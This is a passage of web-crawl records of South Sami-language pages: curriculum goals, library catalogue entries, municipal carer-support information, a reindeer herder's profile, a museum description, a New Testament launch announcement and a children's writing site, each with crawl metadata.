punktet:","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/dutnjien-guhte-lea-aarjelsaemien-ohtsije\/a\/036555","date":"2023-12-04T02:34:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100523.4\/warc\/CC-MAIN-20231204020432-20231204050432-00016.warc.gz","language":"sma","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000002145767212}","num_words":86,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maahtoeulmie 10. daltesen mænngan\nLïerehtimmien ulmie lea learohke edtja maehtedh\nseabradahkefaageles vuekieh jïh digitaale vierhtieh jïjtse goerehtimmine, gaavnoeh åehpiedehtedh viehkine digitaale dïrregijstie jïh digkiedidh man faamosne jïh sjiehteles gaavnoeh leah\nvuarjasjih guktie ovmessie gaaltijh, aaj soptsesh jïh kaarhth, bïevnesh vedtieh akten seabradahkefaageles teeman bïjre jïh ussjedadtedh guktie algoritmh, aktelaaketje gaaltijh jallh faatoes gaaltijh maehtieh mijjen goerkesem baajnehtidh\ndigkiedidh guktie åehpiedehtemh åvtetje aejkeste, heannadimmijste jïh dåehkijste leah almetji vuajnoeh jïh dahkoeh baajnehtamme jïh baajnehtieh\ngoerehtidh guktie teknologije lea jarkelimmiefaktovrine orreme jïh annje lea, jïh digkiedidh dam baajnehtimmiem teknologije lea aktegsalmetjidie, seabradahkese jïh eatnamasse åtneme jïh åtna\nussjedadtedh guktie almetjh leah gymhpeme jïh gæmhpoeminie jarkelimmiej åvteste seabradahkesne jïh seamma tïjjen leah geograafeles tsiehkijste jïh histovrijes konteeksteste baajnehtamme jïh annje baajnehtamme sjidtieh\nviertiestidh guktie politihkeles, geograafeles jïh histovrijen tsiehkieh jieledevuekieh, årromemöönsterh jïh demografijem baajnehtieh ovmessie bieline veartenistie daan biejjien\nfåantoeh jïh konsekvensh tjïelkestidh vihkeles histovrijes jïh daaletje vigkijste jïh ussjedadtedh mejtie jarkelimmieh såemies eaktojste lin maahteme vigkide jarkelidh\nfåantoeh jïh konsekvensh tjïelkestidh terrordahkojste jïh åålmegebuvvemistie, goh holocaust, jïh ussjedadtedh guktie ekstreeme vuajnoeh jïh ekstreeme dahkoeh maehtieh heerresovvedh\ngoerehtidh jïh buerkiestidh guktie almetje- jïh aalkoeåålmegereaktah jïh jeatjah gaskenasjonaale latjkoeh jïh laavenjostoe leah vihkeles nasjonaale politihkese, almetji jieliedasse jïh mïrrestallemasse jïh seammavyörtegsvoetese\ndaaroedehtemem saemijste jïh nasjonaale unnebelåhkojste tjïelkestidh jïh ovreaktam mejtie dah leah dååjreme, jïh ussjedadtedh mah konsekvensh daate lea åtneme jïh åtna indivijde- jïh seabradahkedaltesasse\novmessie dimensjovnh buerkiestidh monnehke evtiedimmesne jïh guktie dah sinsitniem baajnehtieh, råajvarimmieh åehpiedehtedh monnehkåbpoe seabradahken åvteste jïh råajvarimmide vuarjasjidh tjoevkesisnie aerpievuekien saemien jieliemijstie\nvuarjasjidh guktie barkoe, sïjsebaalhka jïh åtnoe maehtieh persovneles ekonomijem, jieledestandaardem jïh jieledekvaliteetem baajnehtidh\nhedtiej jïh joekehtsvoeti bijjeli ussjedadtedh identiteetine, jieledevuekine, kultuvrevæhtine Saepmesne jïh Saepmien ålkolen, jïh nuepieh jïh haestemh digkiedidh gellievoetesne\nussjedadtedh jïjtse digitaale gïeji bijjeli jïh nuepien bijjelen gïejide skubpedh jïh jïjtse jïh mubpiej reaktam vaarjelidh privaate jieliedasse, persovnevaarjelæmman jïh aalkoereaktese\nussjedadtedh guktie identiteete, jïjtjeguvvie jïh jïjtse raasth evtiesuvvieh jïh haastasuvvieh ovmessie ektievoetine, jïh raeriestimmieh åehpiedehtedh guktie maahta baajnehtimmiem jïh ovvaajteles heannadimmieh gïetedidh\nussjedadtedh mah aktöörh mah faamoem seabradahkesne utnieh daan biejjien jïh guktie dah sijjen vuajnoeh tjïelkestieh\novmessie våaromh digkiedidh digitaale ektiedahkose, jïh ussjedadtedh guktie digitale meatanårrome jïh ektiedahkoe hammoem jïh sisvegem seabrahkedigkiedimmesne baajnehtieh\nvihkeles laakh, njoelkedassh jïh nåårmh buerkiestidh jïh konsekvenside digkiedidh fïerhten almetjasse jïh seabradahkese jis dejtie mïedtele, åeniebasse jïh guhkiebasse\nvæhtah burkiestidh dejnie politihkeles systeemine jïh tryjjesvoeteseabradahkine Nöörjesne jïh Saepmesne jïh ussjedadtedh vihkeles haestemi bijjeli","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/saf02-04\/kompetansemaal-og-vurdering\/kv152?lang=sma","date":"2023-12-11T06:13:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679103558.93\/warc\/CC-MAIN-20231211045204-20231211075204-00476.warc.gz","language":"sma","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000061988830566}","num_words":382,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.115,"stopwords_ratio":0.209,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaadtasovvemejaepie\n1999\nISBN\n8291047936\nFormaate\nSïejhme gærja\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n47\nAamhtesh\nGærjatjisnie Gáivuotnan soptsesh jïh heamturh.\n1980-låhkoen aalkoevisnie Gáivuotnan kultuvreståvroe barkojne nïerhki Gáivuotnan skuvleståvrojne aktesne aelkedh dan dajven soptsesh jïh heamturh tjöönghkedh. Gærjetje gærjaraajroste åesine jïh mah aamhtesidie gïetedellieh: lïhkes kultuvrem, gïelem jïh histovrijem. Daaroen jïh noerhtesaemien teeksth baaltesæjran tjåadtjoen.\nGærjam maahtah digitaalegærjine Nasjonaalegærjagåetesne lohkedh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ovttas.no\/sma\/girji_mellom-himmel-og-jord-almmi-ja-eatnama-gaskkas?overridden_route_name=entity.node.canonical&base_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2023-12-02T15:35:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100427.59\/warc\/CC-MAIN-20231202140407-20231202170407-00336.warc.gz","language":"sma","language_score":0.9999985695,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999985694885254}","num_words":57,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem faagesne vuesiehtieh jïh evtiedieh faagesne duedtesne 5., 6. jïh 7.b. daltesinie gosse ovmessie kreatijve strategijh nuhtjieh, visuelle vuekieh jïh funksjovnelle loetemh sjugniedidh. Dah aaj maahtoem vuesiehtieh jïh evtiedieh gosse meatan vuarjasjimmesne visuelle vierhkievierhtijste, kulturelle referaansijste, vætnoekvaliteeteste jïh byjresemaajsoste.\nLohkehtæjja edtja sjïehteladtedh guktie learohkh leah meatan, jïh lïeremelastose skreejrehtidh jeereldihkie praktihkeles laavenjassi tjïrrh vierhkiesijjine, tjöönghkemen tjïrrh ïebnijste jïh gosse learohkh åadtjoeh raeriestimmiejgujmie båetedh jarkelimmide åtnosne jïh visuelle byjreskinie. Lohkehtæjja jïh learohkh edtjieh learohki evtiedimmien bïjre duedtesne soptsestalledh. Learohkh edtjieh nuepiem åadtjodh pryövedh. Dan maahtoen mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh baakoeh bïejedh dïsse maam dååjroeh sijjieh buektiehtieh, jïh maam buerebelaakan buektiehtieh goh aarebi, dovne prosessen jïh dorjesen bïjre. Lohkehtæjja edtja dan guhkiebasse lïeremen bïjre bïhkedidh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedassem nuhtjedh sov maahtoem evtiedidh kreatijve prosessine, byjresevoerkes åtnosne, duedtesne, visuelle gaskesadtemisnie jïh vuarjasjimmesne.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/khv02-02\/kompetansemaal-og-vurdering\/kv104?lang=sma","date":"2023-12-09T09:20:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100873.6\/warc\/CC-MAIN-20231209071722-20231209101722-00412.warc.gz","language":"sma","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000075101852417}","num_words":145,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.131,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"'Jaahkenelkien Aanna' lij åarjelsaemien lohkehtæjja. Lea åehpies kultuvre-jïh gïeleskræjriem åarjelsaemien dajvine. Aanna lij Gaebpien Gåstan onneåapba jïh Maajehjaevresne altese maanagåetie aaj, jaevrien dunniebealesne, Loektesne. Altese eejhtegh jïh tjidtjebe joekoenlaakan utnin vihkeles væjloe gïelebyjreske Loektesne utnedh, jïh dannasinie eevtjidin maanah jïh fuelhkiem barre saemiestidh gosse gåetesne. Loektesne tjoeverin galkin eensilaakan saemiestidh.\nAanna Finnemisjovnen saemieskuvlesne, Haavijhkesne veedtsi.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/incubator.m.wikimedia.org\/wiki\/Wp\/sma\/Jaahkenelkien_Aanna","date":"2023-12-04T14:22:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100529.8\/warc\/CC-MAIN-20231204115419-20231204145419-00040.warc.gz","language":"sma","language_score":1.0000048876,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000048875808716}","num_words":55,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lïhkesadtjhdåarjegem, anhörigstöd\nTjïelte \"galka dåerjegem faaledh ihke aelhkebe almetjidie daajhtodh, mah aktem lïhkemes almetjem håksa mij guhkies skïemtjes lea jallh voeres jallh aktem lïhkemes almetjem dåvta mij ov-verviem åtna\" Sosialedïenesjelaake Kap 5 § 10.\nDïhte lea naemhtie ahte datne goh lïhkesadtje, voelpe, kraanna jih jienebe jih naakenh ( mij skïemtjes, voeres jallh ov-vervine) öörhtje-biejjide viehkede, reaktah åtnah viehkiem jih dåarjegem åadtjodh seamma jis jijnjes jallh vaenieh viehkedh jih håksah. Ahte almetjh dåarjodh, mah jïjtjh veeljeme dej lihkemes almetjidie hoksedh lea vihkeles ihke dejtie gelkieh beelledh.\nLïhkesadtjhdåarjegem Bïerjen tjïeltesne maahta faaledh\n- Lïhkesadtjekonsulentem guhkies dååjrehtimmine\n- Dåarjegesoptsestimmiem\n- Hïejmemïnnemem\n- Bïevnesh gåebph galka jårredh\n- Tjåangkoeh ihke ektesne årrodh\n- Tjåangkoeh bïevnesigujmie jih lohkehtallemigujmie\n- Mujhteleslaakan – aktem gaskesadthsijjem\nBïerjen tjïeltesne akten lïhkesadtjhkonsulentem gååvnese mij daej gyhtjelassigujmie barka. Lïhkesadtjhsåjhtoem akten dåehkiem lea mij ij daan jïjnem bïjre govloes, läjhkan gosse jienebh mediaesne minngemes tijjide sjïdteme. Lïhkesadtjekonsulentem barka ihke vuesiehtidh gukte lïhkesadtjijh situasjovne lea, dej jielijekvaliteetem bueriedidh jih viehkiehtidh goske lïhkesadtjh eah eevre säjloes sjïdtieh.\nTjïelten lïhkesadtjhkonsulente maahta jienebh bïevnesh veedtedh. Datne maahtah aaj daase tjaangedh: Nationellt Kompetenscentrum, Lïhkesadtjij hïejmesijjiem, dellie datne daaletje dotkemem jih gielteges lohkehtimmieh lïhkesadtjhtrijhkebiejjeste gaavnh, jih jienebe.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/beta.berg.se\/saepmie\/information-pa-samiska\/hokse-viehkie-jih-sajhtoe---omsorg-hjalp-och-vard\/lihkesadtjh-jih-lihkemes-almetjh-anhoriga-och-narstaende\/lihkesadtjhdaarjegem-anhorigstod","date":"2023-12-09T18:03:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100942.92\/warc\/CC-MAIN-20231209170619-20231209200619-00856.warc.gz","language":"sma","language_score":0.999992609,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.9999926090240479}","num_words":177,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Seabradahkefaagesne dåaresthfaageles teema almetjehealsoe jïh jieledehaalveme lea learohkh edtjieh voerkes sjïdtedh jïjtsh identiteeten jïh identiteeteevtiedimmien bïjre, jïh indivijdem guarkedh goh bielie ovmessie ektievoetijste. Daajroe guktie ektiedahkoe mubpiejgujmie, aaj digitaalelaaken, relasjovnh jïh ektiedimmiem baajnehte, lea bielie maahtoste faagesne. Faage edtja viehkiehtidh guktie learohkh maehtieh hijven jieledeveeljemh darjodh, jïh haestemh gïetedidh mah leah seksualiteeten, persovneles ekonomijen, ruvsen, ålkoestimmien jïh digitaale ektiedahkoen bïjre. Faage edtja aaj viehkiehtidh goerkesem, ååktemem jïh toleraansem sjugniedidh gellievoetese, mubpiej aarvojde jïh jieledeveeljemidie, jïh perspektijvh vedtedh mij hijven jielede maahta årrodh. Faagen tjïrrh learohkh edtjieh maehtieh suerkieh damtijidh gusnie almetjeaarvoe haastasåvva, vuesiehtimmien gaavhtan almetjeåesiestimmien jïh mijjen tïjjen slaaverijen sjïekenisnie, jïh råajvarimmide tjuvtjiedidh juktie almetji vihkeles daerpiesvoeth gorredidh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/saf02-04\/om-faget\/tverrfaglige-temaer?lang=sma","date":"2023-12-11T19:45:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679516047.98\/warc\/CC-MAIN-20231211174901-20231211204901-00738.warc.gz","language":"sma","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000085830688477}","num_words":108,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.176,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov nomme Mathis Eira, leam 20 jaepien båeries jïh byjjenamme Guovdageaidnusne jïh Kvænangenisnie. Mov bovtsen gåatomedajve giesege lea Kvænangenisnie, jïh daelvege gåatomelaante lea Guovdageaidnun jillieraedtesne, Áidejávrisne soemen raasten vööste. Manne Saemien jåarhkeskuvlesne jïh båatsoeskuvlesne vaadtseme. Desnie båatsoefaagem veedtsim jïh dan mænngan lissiebigkemem sïejhme studijemaahtose.\nManne båatsosne byjjenamme jïh bovtsigujmie barkeminie aarkebiejjien. Mov lea ïedtje joejkeste jïh saemien soptsestimmievuekeste, jïh lyjhkem joejkedh jïh dikth\/joejketeeksth tjaeledh. Lyjhkem voelpigujmie jïh ålkone eatnamisnie årrodh, jïh bovtsi luvnie mïnnedh.\nMunnjien joekoen vihkele aerpievuekien saemien daajroen jïh kultuvren bïjre soptsestidh jïh maam funksjovnide dïhte saemien seabradahkesne jïh kultuvresne utni jïh åtna. Vuesiehtimmien gaavhtan mijjen soptsestimmievuekie funksjovnine utni maanah bijjiedidh.\nVïenhtem daate jaepie goh saemien tsïegle joekoen murreds sjædta. Aervedem manne sïjhtem jïjnjem lïeredh, jïh jïjnjem jïjtjene bïjre lïeredh. Lissine luste sjædta mïnnedidh jïh jeatjah noerigujmie soptsestidh jïh mijjen tjaebpies kultuvren jïh aerpievuekiej bïjre soptsestidh.\nSåemies varke saetniesvoeth:\nMïsse jeenjemes aavodh daan tsïeglejaepien?\nManne jeenjemes aavodem vuejnedh guktie nöörjen noerh saemien kultuvrem dåastoeh, jïh maam dan bïjre tuhtjieh. Manne aavodem aaj vuesiehtidh guktie mijjieh saemieh veasoeminie, jïh guktie saemien kultuvre lea tseegkesovveme, jïh gaajhke såemieslaakan sov funksjovnem åtna.\nBööremes raerie jïengem tsööpkedh?\nJoejkedh.\nMaam darjoeh 10 jaepine?\nManne mån bovtsigujmie barkeminie jïh dagke naakede kultuvrebievnieminie.\nMaam lih sïjhteme meatan vaeltedh aevries såålese, jïh mannasinie?\nNejpiebeelhte, juktie dam edtja iktesth meatan utnedh gosse eatnamisnie mïnneminie.\nGie dov saemien åvteguvvie jïh mannasinie?\nSaemien åvteguvvie? Hmm, tjuara sån Áillohaš (Nils Aslak Valkeapää) sjïdtedh. Altese ussjedimmievuekie jïh jieledevuekie leah naakede maam manne tuhtjem gieltege, jïh dïhte joekoen vihkeles råållam åtneme joejken aerpievuekiem jealajehtedh. Jïh ohtje lissie saetniesvoete: Áillohaš sealadi ovrehte don baelien manne reakadim 2001.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/mathis-eira-3\/","date":"2023-12-08T07:04:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100724.48\/warc\/CC-MAIN-20231208045320-20231208075320-00804.warc.gz","language":"sma","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000064373016357}","num_words":261,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.18,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hero Image\nBig Shortcut\nSaemien Sijte\nSaemien Sijte lea åarjelsaemien museume jïh kultuvrejarnge Snåasesne. Saemien Sijte lea aaj gaavnedimmiesijjie ovmessie darjomes. Åarjel Saepmie leah Raaneste Engerdalese.\nSaemien Sijten nasjonale dïedte lea åarjelsaemien kultuvrem vïhtesjidh, vaarjelidh, dotkedh jïh saarnodh. Aerpiemaahtoeh, histovrije jïh kultuvremojhtesh registreeredh leah aalkoevistie, jaepien 1964 raajeste vihkeles årreme. Nænnoestehtedh åarjelsaemien identiteetem, gïele, ektievoetem jïh båetije biejjieh leah kultuvregyhtjelassh maam Saemien Sijte museumsbarkoem baalte barka. Daeverereerenassem lea akten Saemien Sijten vihkielommes barkoe.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/saemiensijte.no\/sami\/","date":"2023-12-01T02:46:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100264.9\/warc\/CC-MAIN-20231201021234-20231201051234-00604.warc.gz","language":"sma","language_score":0.9999603033,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999603033065796}","num_words":72,"character_repetition_ratio":0.114,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Njaalmeldh tjiehpiesvoeth seabradahkefaagesne lea maehtedh goltelidh, toelhkestidh, mïelh hammoedidh e jïh eevtjedh, vaastahtahkem vedtedh jïh mubpiejgujmie digkiedidh. Mubpiej mïelh guarkedh jïh gyhtjelassh gihtjedh mah tjïelkestieh leah aaj meatan daesnie. Dejnie njaalmeldh tjiehpiesvoetine edtja aaj njaalmeldh soptsestimmievuekien bïjre daejredh juktie goerkesem åadtjodh saemien seabradahki jïh kultuvri bïjre. Evtiedimmie dejstie njaalmeldh tjiehpiesvoetijste lea aelkedh jïjtse mïelh buektedh, baakoem vaeltedh våaroen mietie jïh goltelidh jïh vaastahtahkem mubpide vedtedh, ovmessie perspektijvh vaeltedh jïh argumentasjovnem tjïelkestidh stuerebe fåantoeektiedimmine. Evtiedimmie sæjhta aaj ahkedh vielie ektiedimmiej bïjre soptsestidh, faageles gyhtjelassh digkiedidh jïh vielie gellielaaketje bïevnesh gïetedidh, jïh guarkedh guktie ovmessie soptsestimmievuekieh dïjrem jïh dåastojem baajnehtieh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/saf02-04\/om-faget\/grunnleggende-ferdigheter?lang=sma","date":"2023-12-08T19:56:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100769.54\/warc\/CC-MAIN-20231208180539-20231208210539-00252.warc.gz","language":"sma","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000089406967163}","num_words":98,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.214,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Geografije lea vihkeles faage juktie ektiespïelem eatnemen jïh almetji gaskem guarkedh. Faage edtja viehkiehtidh guktie learohkh ektiedimmieh vuejnieh vierhtieåtnoen, eatnemen, byjresen jïh seabradahken gaskem, jïh mah konsekvensh eatnemesjugniedamme jarkelimmieh almetjidie utnieh. Geografijesne learohkh edtjieh geograafeles tsiehkieh goerehtidh jïh vïhtesjidh jïh faagem lïeredh gosse dåeriesmoeri bijjeli ussjededtieh Saepmesne, abpe laantesne jïh abpe veartenisnie. Faage edtja viehkiehtidh guktie learohkh byjresevoerkesvoetem evtiedieh jïh eensi veeljemh vaeltieh daelie jïh båetijen aejkien.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/geo02-02\/om-faget\/fagets-relevans-og-verdier?lang=sma","date":"2023-12-02T02:45:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100309.57\/warc\/CC-MAIN-20231202010506-20231202040506-00400.warc.gz","language":"sma","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000008463859558}","num_words":67,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemieskuvleståvroen maajhlohkehtæjjah maadthskuvlen jïh jåarhkeskuvlen learoehkidie abpe Sveerjesne lohkehtehtieh. Learohkh maehtieh saemien ietniengïeline 1. jaepiekuvsjeste lohkedh. 6. jaepiekuvsjeste jïh jåarhkeskuvleste learohkh aaj nuepiem saemien daaletje gïeline lohkedh. Såjhtoealmetjh gïeh sijhtieh altesi maana edtja saemien lohkedh maehtieh dejnie skuvleåejvine maanan skuvlesne govlehtidh jïh lohkehtimmiem dongkedh.\nSkuvlen rektovre lohkehtimmiem dongkoe adressesne: email@example.com","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/sameskolstyrelsen.se\/sy\/oohpehtimmie\/maajhlohkehtimmie-saemien\/","date":"2023-12-01T07:24:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100276.12\/warc\/CC-MAIN-20231201053039-20231201083039-00848.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":48,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Söndagen den 25 augusti 2024 kommer Nya testamentet på sydsamiska tas emot vid en högtidlig gudstjänst i Stora kyrkan i Östersund. Det är första gången någonsin som hela Nya testamentet översatts till sydsamiska vilket gör detta till en så kallad editio princeps (första utgåva). En historisk händelse.\nUnder lördagen kommer ett rikt program ordnas med både utställningar, populärvetenskapliga seminarier och en konsert där samiska artister medverkar. . Vi ser fram emot en viktig händelse i Saemie med stor betydelse för både kyrka och samhälle – i Norge såväl som i Sverige.\nMer information kommer löpande.\nÅarjelsaemien orre testamente edtja båetije jaepien dååjredh\nÅarjelsaemien orre testamente edtja aejlegen, mietsken göökteluhkievïjhteden biejjien, båetije jaepien dååjredh gosse gyrhkesjimmie Staaren Stoeregærhkosne. Ij gie aerebe abpe orre testamentem åarjelsaemien gïelese jarkoestamme. Jarkoestimmie mij båetije jaepien dååjroe, editio princeps-inie lea (voestes låhkojne). Orre gærja naemhtie latine-gïeline gohtjesåvva. Dïhte biejjie gosse åarjelsaemien testamente dååjroe, sjïere mojhtese-biejjine sjædta.\nLaavvadahken stoere programme. Dellie vuesiehtimmieh, seminaarh jïh konserte. Gellie saemien artisth edtjieh dennie konsertesne laavlodh, joejkedh jïh spealadidh. Joekoen stoere biejjieh sjidtjieh gaajhkide åålmegidie dovne Nöörjesne jïh Sveerjesne. Dejtie biejjide vaajnohke vuertebe.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.xn--bibelsllskapet-bib.se\/lansering-av-nya-testamentet-pa-sydsamiska-23-25-augusti-2024\/","date":"2023-12-01T03:54:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100264.9\/warc\/CC-MAIN-20231201021234-20231201051234-00845.warc.gz","language":"sma","language_score":0.9868405461,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.986840546131134}","num_words":178,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.028,"flagged_words_ratio":0.0,"lang_id_score":0.992,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Lagerlöf, Selma Bertije Sametinget i Finland Vaadtasovvemejaepie 2016 Faage Saemien 1 Saemien 2, 3 jïh 4 Daltese Maanagïerte SAÖ 1-4 Giele Jeatjah saemien gïelh Noerhtesaemiengïele Formaate DVD Reakta-aajhtere Sametinget i Finland Reaktah Gaajhkh reaktah leah doelehtovveme Demands Norwaco Ijje Aamhtesh Kultuvre Filme Saemiengïele Gïelh jïh smaaregh heevehtslitteratuvre Viehkiebaakoe Maanafilme","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ovttas.no\/sma\/filbma_lottezan-niillasa-matkkit?overridden_route_name=entity.node.canonical&base_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2023-12-05T03:10:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100540.62\/warc\/CC-MAIN-20231205010358-20231205040358-00728.warc.gz","language":"sma","language_score":0.9991295934,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.999129593372345}","num_words":44,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Buerie båeteme Polarbibblose! Daesnie maahtah jïjtje tjaeledh jïh jeatjah maanaj soptsesh lohkedh. Lustes, jåabpah jïh aalvere – daesnie gaajhkh gååvnesieh.\nSeedth soptsesh, dikth, guvviesoptsesh, gærjasaernieh jïh guvvieh. Dejtie saajtese bæjhkoehtovvieh juktie jeatjah maanah maehtieh lohkedh jïh eadtjaldovvedh. Gærjasaernieh åadtjodh! Nuhtjh baakoemaskijnem jis sïjhth tjaeledh.\nSpealedh Pac-Man, memory, baakoevïjreme jïh darjoeh quizem. Lohkh gærjam Noran gierehtse gelline gïeline.\nGïelh leah vihkele Polarbibblosne. Daesnie gïelide meänkieli jïh saemien gïelh gååvnesieh . Dah leah gïelh mah eejnegen Sveerjesne soptsestamme. Vihkeles maanah maehtieh daejtie gïelide Polarbibblosne nuhtjedh!\nGuktie jåhta?\nIh daarpesjh Polarbibblon åvteste maeksedh! Datne maahtah kontom jïh jïjtje åtnoenommem mijjen luvnie utnedh. Datne aaj maahtah nommehth årrodh jïh dellie datne jeatjah nommem mijjeste åadtjoeh gosse datne mij joem mijjese seedth.\nAkte konto aelhkie darjodh. Akte konto lea buerie utnedh. Dellie maahtah barkojde spååredh jïh mænngan dejgujmie barkedh. Datne aaj maahtah meatan årrodh mijjen Vuerpesne jïh desnie gærjah jïh plaerieh vïtnedh.\nGosse mijjese seedth dam maam dorjeme dellie akteste mijjen redaktöörijste saajtese bæjhkohte. Jis datne kontom åtna maahtah viehkiem åadtjodh buerebe sjïdtedh tjaeledh.\nGosse dåtnoeh redaktööre fuakajidie dellie dov barkoe saajtese vuesiehtåvva. Jis datne båaloem Vuerpese deadteme, dellie datne aktem vuerpiem åtna.\nDov naan gyhtjelassh?\nDov naan 